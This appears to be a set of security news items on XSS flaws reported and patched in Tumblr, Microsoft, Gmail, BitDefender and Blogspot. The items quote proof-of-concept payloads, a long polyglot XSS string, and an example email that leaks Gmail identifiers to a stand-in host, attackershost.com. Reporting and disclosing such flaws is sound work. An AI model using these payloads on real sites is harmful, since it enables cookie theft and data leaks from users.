A Security researcher, Riyaz Ahemed Walikar, has posted evidence of a serious persistent Cross Site Scripting(XSS) vulnerability on Tumblr, the popular microblogging platform.

XSS flaws are highly common on websites these days, but most of them are non-persistent and implicitly less dangerous.

"XSS can cause a lot of serious problems. An attacker can steal cookies, redirect users to fake or malicious sites, control a user's browser using automated frameworks like BeEF and download and execute exploits on the victim's computer," Researcher said in the blog post.

"Stored XSS is even more dangerous since the script is stored on the server and is executed everytime user visits an infected page."

Researcher found vulnerability  on the 'Register Application' page at http://www.tumblr.com/oauth/apps. The application was not sanitizing user input when a user would create a new application. An XSS attack vector like tester "><img src='x' onerror="alert(document.cookie)"/> would trigger an alert box, displaying the user's cookie, in the browser.

Tumblr were notified more than three weeks ago on the issue. Finally, they fixed the vulnerability Today(july 14).

If you don't know what XSS is, you can read this article "Xss For Beginners".

A security Researcher , Gambit, has discovered Cross site scripting vulnerability in Microsoft official website.

He found the vulnerability last month and reported the vulnerabilities to the Microsoft.

"Well last month I was looking around on MSN.com and Microsoft.com I found two XSS vulnerabilities, one in each domain.  I reported the vulnerabilities to the Microsoft security team and secured a spot on their acknowledgments page."Gambit said in his blog.


Microsoft listed his name in the 'Security Researcher Acknowledgments for Microsoft Online Services' page.

'asia.perf.glbdns.microsoft.com' page is vulnerable to XSS.  Researcher managed to execute the XSS code in the page.


POC: "asia.perf.glbdns.microsoft.com/files/top.php?domain=<script>alert(/Gambit/)</script>"

A security Researcher Nils Junemann discovered persistent cross-site scripting (XSS) vulnerabilities in Gmail and notified Google before few moths, Google patched the vulnerabilities now.

According to his blog post, Junemann found three different XSS vulnerabilities in Gmail. The first security flaw is "Persistent DOM XSS (innerHTML) in Gmail's mobile view" :

A incoming mail containing <img src=x onerror=prompt(1)> within the subject and forwarded to another user, has lead to XSS.

The second one is very simple non-persistent XSS in Gmail's mobile view:

https://mail.google.com/mail/ mu/#cv/search/%22%3E%3Cimg% 20src%3Dx%20onerror%3Dalert(2) %3E/foobar

The third security issue is very intersting persistent XSS. He discovered that there was a way for an attacker to get access to several key pieces of information in the URLs that Gmail generates when it displays a message to a user.

When a message is displayed directly, rather than as part of a user's inbox, it contains both a static user ID and an identifier for the individual message. Those values shouldn't be available to an attacker, but Juenemann found that he could get them through referrer leaks.

"An attacker doesn't know the ik and the message id . Without both values it's not possible to generate the special URL. But it's easy to get both values through referer leaking.

We have to send to our victim a HTML e-mail with that content:

<img src=" https://attackershost.com/1x1.gif " >
<a href=" https://attackershost.com/gmailxss ">Click here to have fun</a>
<script>alert(/xss/)</script>

When the user opens the email message, the GIF image will send the user ID and message ID to theattacker's server. The second URL also will leak that data if the user clicks on it. The script will then display a Javascript alert, and that's the attacker's code runningin the context of Gmail.

The official websites belong to BitDefender , AVG, Avira and Total Defense Antivirus are vulnerable to xss.



In BitDefender TrafficLight , the URL input is not filtering the XSS. The Url input allows hackers to run malicious xss code. It can results in phishing attacks.

POC:

http://trafficlight.bitdefender.com/info?url=%27;alert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29//\%27;alert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29//%22;alert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29//\%22;alert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83,32,32,66,89,32,32,65,78,75,73,84%20%29%29%3C/SCRIPT%3E

Akshay AKA 0z0n3 claimed that he have discovered a Persistent XSS vulnerability in blogspot.com.  He managed to inject the xss vector in his own blogger dashboard. He is sure it is not template page(usually templates allow bloggers to inject scripts ). 

He used one of the following xss vector:
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

After injecting, he didn't get a pop-up but after some minutes he started getting pop-ups. He reported about the vulnerability to Google Security team. The vulnerability is not rewarded by Google.


"Thank you for your note. We took a look at the XSS issue you reported. Unfortunatley, the XSS issues is executing on the blogspot domain and not blogger.com. We come some of these scenarios here.

http://www.google.com/about/company/rewardprogram.html#javascript-blogger

Unfortunately, XSS issues on blogspot(as opposed to blogger.com) do not quailfy for the VRP.  If you manage to execute this javascript on someone else's blog or on the blogger.com domain, that would qualify for a reward." Google response mail.
